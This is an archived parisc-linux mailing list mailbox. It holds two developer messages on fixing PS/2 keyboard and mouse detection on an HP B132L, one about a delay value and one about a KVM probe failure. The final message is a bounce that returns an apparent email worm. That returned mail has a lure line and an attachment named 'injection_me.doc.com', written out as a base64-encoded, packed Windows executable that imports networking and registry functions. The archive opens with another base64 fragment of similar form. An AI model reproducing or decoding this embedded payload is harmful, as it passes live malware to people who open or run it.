lYoHRwjAdNyJ+XkHD7cHR1BHuVdI8q5V/5bA4AAACcB0B4kDg8ME69hhMcDCDACD
xwSNXvwxwIoHRwnAdCI873cRAcOLA4bEwcAQhsQB8IkD6+IkD8HgEGaLB4PHAuvi
YenSZP//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEA
BgAAABgAAIAAAAAAzOzcPAAAAAAAAAEAvwUAADAAAIAAAAAAAAAAAAAAAAAAAAEA
BwQAAEgAAABYsAAATgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA4PAAALzwAAAAAAAA
AAAAAAAAAADt8AAAyPAAAAAAAAAAAAAAAAAAAPrwAADQ8AAAAAAAAAAAAAAAAAAA
BfEAANjwAAAAAAAAAAAAAAAAAAAAAAAAAAAAABDxAAAe8QAAAAAAAC7xAAAAAAAA
PPEAAAAAAAATAACAAAAAAEtFUk5FTDMyLkRMTABBRFZBUEkzMi5kbGwAVVNFUjMy
LmRsbABXUzJfMzIuZGxsAAAATG9hZExpYnJhcnlBAABHZXRQcm9jQWRkcmVzcwAA
UmVnT3BlbktleUEAAABMb2FkSWNvbkEAAOAAAAwAAAAtMAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAABIAAA=

------------PTtNFKjIjLveuhSk--



From - Thu Nov 08 21:31:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Martin Schulze <joey@infodrom.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: No PS2 keyboard/mouse on B132L, 2.6.[34]
Date: Thu, 18 Mar 2004 10:55:06 +0100
Lines: 25
Approved: news@gmane.org
Message-ID: <20040318095506.GW9104@finlandia.infodrom.north.de>
References: <25271.193.161.152.244.1078745317.squirrel@www.puszczka.com>
	<200403142219.00823.deller@gmx.de>
	<20040315171420.GW9104@finlandia.infodrom.north.de>
	<200403152046.13832.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
X-Trace: ger.gmane.org 1416623282 7016 80.91.229.3 (22 Nov 2014 02:28:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:02 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: joey@infodrom.org  Thu Mar 18 02:57:59 2004
Return-Path: <joey@infodrom.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from luonnotar.infodrom.org (luonnotar.infodrom.org [195.124.48.78])
	by dsl2.external.hp.com (Postfix) with ESMTP id 579AD484B
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 18 Mar 2004 02:57:59 -0700 (MST)
Original-Received: by luonnotar.infodrom.org (Postfix, from userid 10)
	id 389FD366B6A; Thu, 18 Mar 2004 10:57:19 +0100 (CET)
Original-Received: at Infodrom Oldenburg (/\##/\ Smail-3.2.0.102 1998-Aug-2 #2)
	from infodrom.org by finlandia.Infodrom.North.DE via smail from stdin
	id <m1B3uF0-000okXC@finlandia.Infodrom.North.DE>
	for deller@gmx.de; Thu, 18 Mar 2004 10:55:06 +0100 (CET) 
Content-Disposition: inline
In-Reply-To: <200403152046.13832.deller@gmx.de>
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 18 Mar 2004 09:57:59 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21124

Helge Deller wrote:
> On Monday 15 March 2004 18:14, Martin Schulze wrote:
> > > Furthermore you might try to increase the value of mdelay(6); in line 168
> > > in file linux-2.6/drivers/input/serio/gscps2.c...
> > > Maybe it's a timing issue ?
> > 
> > Apparently, it was.  I now have keyboard and mouse support.
> > I set the delay to 12.
> 
> Did you tried any other values between 6 and 12 ?
> If a lower value works for you, I would like to put this one in the source....

mdelay(8) contains the lowest value with which the mouse starts to work.

In order to have proper/normal responses you'd have to increase the
responsiveness with gpm, though, but with X the mouse curser runs fast
as usual.

Regards,

	Joey

-- 
The MS-DOS filesystem is nice for removable media.  -- H. Peter Anvin


From - Thu Nov 08 21:31:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Andy Walker" <ajwalker@broadpark.no>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: No PS2 keyboard/mouse on B132L, 2.6.[34]
Date: Thu, 18 Mar 2004 11:36:18 +0100 (CET)
Lines: 49
Approved: news@gmane.org
Message-ID: <16612.193.161.152.244.1079606178.squirrel@www.puszczka.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416623282 7024 80.91.229.3 (22 Nov 2014 02:28:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:02 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: ajwalker@broadpark.no  Thu Mar 18 03:27:54 2004
Return-Path: <ajwalker@broadpark.no>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.broadpark.no (mail.broadpark.no [217.13.4.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id DA7754930
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 18 Mar 2004 03:27:53 -0700 (MST)
Original-Received: from tolstoy.puszczka.com (47.80-202-73.nextgentel.com
	[80.202.73.47])
	by mail.broadpark.no (Postfix) with ESMTP id 008078CAC
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 18 Mar 2004 11:27:52 +0100 (MET)
Original-Received: by tolstoy.puszczka.com (Postfix, from userid 81)
	id 20B4882C8; Thu, 18 Mar 2004 11:36:18 +0100 (CET)
Original-Received: from 193.161.152.244 (SquirrelMail authenticated user andy)
	by www.puszczka.com with HTTP; Thu, 18 Mar 2004 11:36:18 +0100 (CET)
User-Agent: SquirrelMail/1.4.2
X-Priority: 3
Importance: Normal
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 18 Mar 2004 10:27:54 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21125

> ----- Original Message -----
> From: "Helge Deller" <deller@gmx.de>
>> > > Maybe it's a timing issue ?
>> >
>> > Apparently, it was.  I now have keyboard and mouse support.
>> > I set the delay to 12.
>> Did you tried any other values between 6 and 12 ?
>> If a lower value works for you, I would like to put this one in the
> source....
>
> Helge,
>
> I'll try playing with the delay on the B132L as well and report back.
Time to compile....
>
> -Andy


I realized just after sending that mail that the delay was a wild goose
chase in my case. What I really needed to test was unplugging the KVM and
hooking up a mouse directly. Done that now, with a Logitech
MouseMan and my Labtec wireless roller mouse. Both of these get detected
okay.

I added a few debug statements in atkbd_probe() and found that the
combination of the GSC ps/2 and the KVM fail ATKBD_CMD_GETID on the mouse
port. The default action in this case is to call
ATKBD_CMD_SETLEDS - seems a bit haphazard and not something you'd
want to be doing to a mouse (or a KVM emulating a mouse). The SETLEDS
command fails in gscps2.c with a timeout (timeout writing byte 0xed which
is the second byte of 0x10ed == SETLEDS).

At this point I believe the GSC ps/2 port is stuck, so the subsequent
mouse probe fails too (need more debug statements to prove this - later).

On a PC running 2.6.3 all this just seems to work, even with the KVM.
ATKBD_CMD_GETID succeeds and tells the system that this isn't a
keyboard, and everything proceeds normally. So the problem seems to be
something in the interraction between the GSC ps/2 port and the KVM. I'm
not giving up on this yet as I really want to use this
machine with the KVM.

cheers,
-Andy






From - Thu Nov 08 21:31:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: MAILER-DAEMON@ball.reliam.net (Mail Delivery System)
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Undelivered Mail Returned to Sender
Date: Thu, 18 Mar 2004 11:27:45 +0100 (CET)
Lines: 546
Approved: news@gmane.org
Message-ID: <20040318102745.90FDA9CE56@fire.ball.reliam.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/report; report-type=delivery-status;
	boundary="189659C098.1079605665/fire.ball.reliam.net"
X-Trace: ger.gmane.org 1416623283 7029 80.91.229.3 (22 Nov 2014 02:28:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:03 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: MAILER-DAEMON  Thu Mar 18 03:27:54 2004
Return-Path: <>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from fire.ball.reliam.net (fire.ball.reliam.net [213.91.6.11])
	by dsl2.external.hp.com (Postfix) with ESMTP id 46AE94843
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 18 Mar 2004 03:27:53 -0700 (MST)
Original-Received: by fire.ball.reliam.net (Postfix)
	id 90FDA9CE56; Thu, 18 Mar 2004 11:27:45 +0100 (CET)
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 18 Mar 2004 10:27:54 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21126

This is a MIME-encapsulated message.

--189659C098.1079605665/fire.ball.reliam.net
Content-Description: Notification
Content-Type: text/plain

This is the Postfix program at host fire.ball.reliam.net.

I'm sorry to have to inform you that the message returned
below could not be delivered to one or more destinations.

For further assistance, please send mail to <postmaster>

If you do so, please include this problem report. You can
delete your own text from the message returned below.

			The Postfix program

<rosi9351@uni.de>: host 127.0.0.1[127.0.0.1] said: 550 5.1.1 <rosi9351@uni.de>
    user unknown (in reply to RCPT TO command)

--189659C098.1079605665/fire.ball.reliam.net
Content-Description: Delivery error report
Content-Type: message/delivery-status

Reporting-MTA: dns; fire.ball.reliam.net
Arrival-Date: Thu, 18 Mar 2004 11:27:41 +0100 (CET)

Final-Recipient: rfc822; rosi9351@uni.de
Action: failed
Status: 5.0.0
Diagnostic-Code: X-Postfix; host 127.0.0.1[127.0.0.1] said: 550 5.1.1
	<rosi9351@uni.de> user unknown (in reply to RCPT TO command)

--189659C098.1079605665/fire.ball.reliam.net
Content-Description: Undelivered Message
Content-Type: message/rfc822

Received: from firstcampus.de (pD9E49B24.dip.t-dialin.net [217.228.155.36])
	by fire.ball.reliam.net (Postfix) with ESMTP id 189659C098
	for <rosi9351@firstcampus.de>; Thu, 18 Mar 2004 11:27:41 +0100 (CET)
From: parisc-linux@lists.parisc-linux.org
To: rosi9351@firstcampus.de
Subject: exception
Date: Thu, 18 Mar 2004 11:27:41 +0100
MIME-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0004_00002356.000047EA"
X-Priority: 3
X-MSMail-Priority: Normal
Message-Id: <20040318102741.189659C098@fire.ball.reliam.net>

This is a multi-part message in MIME format.

------=_NextPart_000_0004_00002356.000047EA
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: 7bit

your design is not good!

------=_NextPart_000_0004_00002356.000047EA
Content-Type: application/octet-stream;
	name="injection_me.doc.com"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="injection_me.doc.com"

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAuAAAAGsiX1YvQzEFL0MxBS9DMQWsXz8FI0MxBcdcOwU0QzEFL0MwBXBDMQWsS2wF
IkMxBcdcOgUqQzEFl0U3BS5DMQVSaWNoL0MxBQAAAAAAAAAAQ29tcHJlc3NlZCBieSBQZXRp
dGUgKGMpMTk5OSBJYW4gTHVjay4AAFBFAABMAQMA7Kc7QAAAAAAAAAAA4AAPAQsBBgAAUAAA
ABwBAAAAAABCoAEAABAAAABgAAAAAEAAABAAAAACAAAEAAAAAAAAAAQAAAAAAAAAALABAAAE
AAAAAAAAAgAAAAAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAA/KEBAK8BAAAAkAEA
CAUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAgAEAABAAAABWAAAACAAAAAAAAAAAAAAAAAAAYAAA4C5wZXRpdGUAABAAAACQ
AQAIBQAAAF4AAAAAAAAAAAAAAAAAAEAAAEAAAAAAAAAAAKsDAAAAoAEAAAQAAAAEAAAAAAAA
AAAAAAAAAABgAADiAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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
